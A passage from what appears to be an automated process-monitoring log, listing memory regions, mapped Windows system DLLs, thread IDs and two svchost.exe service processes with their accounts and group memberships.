= 4277 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4278 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 4279 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 4280 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4281 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4282 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4283 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4284 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4285 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 4286 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 4287 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4288 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4289 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4290 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4291 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4292 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4293 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4294 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4295 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4296 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4297 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4298 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4299 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4300 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 4301 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 4302 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 4303 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4304 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 4305 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 4306 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4307 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4308 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 300 os_tid = 0x300 Thread: id = 301 os_tid = 0x294 Thread: id = 302 os_tid = 0x290 Thread: id = 303 os_tid = 0x278 Thread: id = 304 os_tid = 0x274 Thread: id = 305 os_tid = 0x270 Thread: id = 306 os_tid = 0x26c Thread: id = 307 os_tid = 0x260 Thread: id = 308 os_tid = 0x24c Thread: id = 455 os_tid = 0xd98 Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2bbbe000" os_pid = "0x288" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a5d6" [0xc000000f], "LOCAL" [0x7] Region: id = 4126 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4127 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 4128 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4129 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4130 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4131 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4132 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4133 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4134 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 4135 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 4136 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 4137 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 4138 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4139 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4140 start_va = 0x430000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4141 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4142 start_va = 0x570000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 4143 start_va = 0x630000 end_va = 0x8fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4144 start_va = 0x930000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 4145 start_va = 0xa80000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 4146 start_va = 0xbd0000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 4147 start_va = 0xc50000 end_va = 0xdd7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 4148 start_va = 0xde0000 end_va = 0xf60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 4149 start_va = 0xf70000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 4150 start_va = 0x10c0000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 4151 start_va = 0x1170000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 4152 start_va = 0x11f0000 end_va = 0x12effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 4153 start_va = 0x1530000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 4154 start_va = 0x15c0000 end_va = 0x163ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 4155 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4156 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4157 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4158 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4159 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4160 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4161 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4162 start_va = 0x7fefa700000 end_va = 0x7fefa752fff monitored = 0 entry_point = 0x7fefa702b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 4163 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4164 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4165 start_va = 0x7fefbf80000 end_va = 0x7fefc03afff monitored = 0 entry_point = 0x7fefbf86de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 4166 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 4167 start_va = 0x7fefc050000 end_va = 0x7fefc063fff monitored = 0 entry_point = 0x7fefc05101c region_type = mapped_file name = "rpcepmap.dll" filename = "\\Windows\\System32\\RpcEpMap.dll" (normalized: "c:\\windows\\system32\\rpcepmap.dll") Region: id = 4168 start_va = 0x7fefc070000 end_va = 0x7fefc0f0fff monitored = 0 entry_point = 0x7fefc07cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4169 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 4170 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4171 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 4172 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 4173 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4174 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 4175 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4176 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4177 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4178 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4179 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4180 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4181 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4182 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4183 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4184 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4185 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4186 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4187 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4188 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4189 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4190 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4191 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4192 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4193 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4194 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4195 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4196 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 4197 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4198 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4199 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4200 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4201 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4202 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4203 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4204 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 6030 start_va = 0x150000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 6031 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Thread: id = 309 os_tid = 0x370 Thread: id = 310 os_tid = 0x230 Thread: id = 311 os_tid = 0x7c4 Thread: id = 312 os_tid = 0x644 Thread: id = 313 os_tid = 0x2b4 Thread: id = 314 os_tid = 0x2b0 Thread: id = 315 os_tid = 0x2a8 Thread: id = 316 os_tid = 0x28c Thread: id = 511 os_tid = 0x5b8 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x138cb000" os_pid = "0x2b8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a99f" [0xc000000f], "LOCAL" [0x7] Region: id = 4562 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4563 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 4564 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4565 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4566 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4567 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4568 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4569 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4570 start_va = 0xf0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4571 start_va = 0x130000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4572 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4573 start_va = 0x2b0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4574 start_va = 0x330000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 4575 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 4576 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4577 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4578 start_va = 0x770000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4579 start_va = 0x830000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 4580 start_va = 0x850000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4581 start_va = 0x870000 end_va = 0x87cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = 